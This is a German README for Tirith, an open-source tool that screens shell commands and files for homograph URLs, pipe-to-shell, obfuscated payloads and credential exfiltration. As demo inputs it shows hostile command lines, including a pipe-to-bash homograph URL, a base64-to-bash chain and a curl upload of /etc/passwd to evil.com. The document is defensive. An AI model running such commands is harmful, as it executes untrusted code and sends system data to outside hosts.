
Terminalsicherheit für Entwickler und KI-Agenten. Fängt homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration und schädliche KI-Fähigkeiten/-Konfigurationen ab, bevor sie ausgeführt werden.
Dein Browser würde das abfangen. Dein Terminal nicht.
Website | Docs | SKILL.md | Changelog | Releases
Unabhängiges Open-Source-Projekt, mit Hosting unterstützt durch das Vercel Open Source Program (Spring 2026 Cohort).
Kannst du den Unterschied erkennen?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
Du kannst es nicht. Dein Terminal auch nicht. Beide `і`-Zeichen sind kyrillisch (U+0456), nicht lateinisch `i`. Die zweite URL führt zu einem Server des Angreifers. Das Skript wird ausgeführt, bevor du es bemerkst.
Browser haben das vor Jahren gelöst. Terminals geben Unicode, ANSI-Escapes und unsichtbare Zeichen weiterhin ohne Nachfrage aus. KI-Agenten führen Shell-Befehle aus und installieren Pakete, ohne zu prüfen, was darin steckt.
**Tirith steht am Tor.** Es fängt Befehle, eingefügte Inhalte und gescannte Dateien ab – auf Homograph-URLs, verschleierte Payloads, Credential-Exfiltration, bösartige KI-Skills/-Konfigurationen und bekannte bösartige Pakete/Domains/IPs aus einer signierten Threat-Intelligence-Datenbank – bevor sie ausgeführt werden.```bash
brew install tirith
Dann in deinem Shell-Profil aktivieren:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` erkennt deine aktuelle Shell automatisch (es untersucht den übergeordneten Prozess und greift bei Bedarf auf `$SHELL` zurück). Das explizite `--shell`-Flag ist nur erforderlich, wenn du die Erkennung überschreiben möchtest.
Das war's zur Abdeckung interaktiver Shells. Befehle, die von dieser Shell akzeptiert werden,
werden geprüft, während der Hook geladen und funktionsfähig ist; das genaue Blockierverhalten hängt
von der Shell und dem Modus ab. Führe `tirith doctor` nach der Installation und nach Upgrades aus, und
lies [enforcement by shell](#enforcement-by-shell), bevor du den Hook als
Autorisierungsgrenze behandelst. Saubere Befehle bleiben stumm und nehmen normalerweise den
schnellen Pfad.
Ebenfalls verfügbar über [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) und [mehr](#install).
---
## Sieh es in Aktion
**Homograph-Angriff, blockiert vor der Ausführung:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
Der Befehl wird niemals ausgeführt.
Pipe-to-Shell mit sauberer URL, gewarnt, nicht blockiert:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Warnung wird auf stderr ausgegeben. Der Befehl wird trotzdem ausgeführt.
**Base64-Decodierungs-Ausführungskette, blockiert:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Fängt auch Decode-Ketten über sudo/env-Wrapper und PowerShell -EncodedCommand ab.
Anmeldedaten-Exfiltration, blockiert:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Deckt alle curl/wget-Upload-Flags, Umgebungsvariablen (`$AWS_SECRET_ACCESS_KEY`) und Command Substitution ab.
**Bösartige Skill-Datei, beim Scan erkannt:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Durchsucht JS/Python-Dateien nach obfuskierten Payloads, dynamischer Codeausführung und Mustern zur Exfiltration von Secrets.
Normale Befehle, unsichtbar:``` $ git status $ ls -la $ docker compose up -d
Nichts. Null Ausgabe. Du vergisst, dass tirith läuft.
---
## Was es erkennt
**244 Erkennungsregeln in 35 Kategorien.**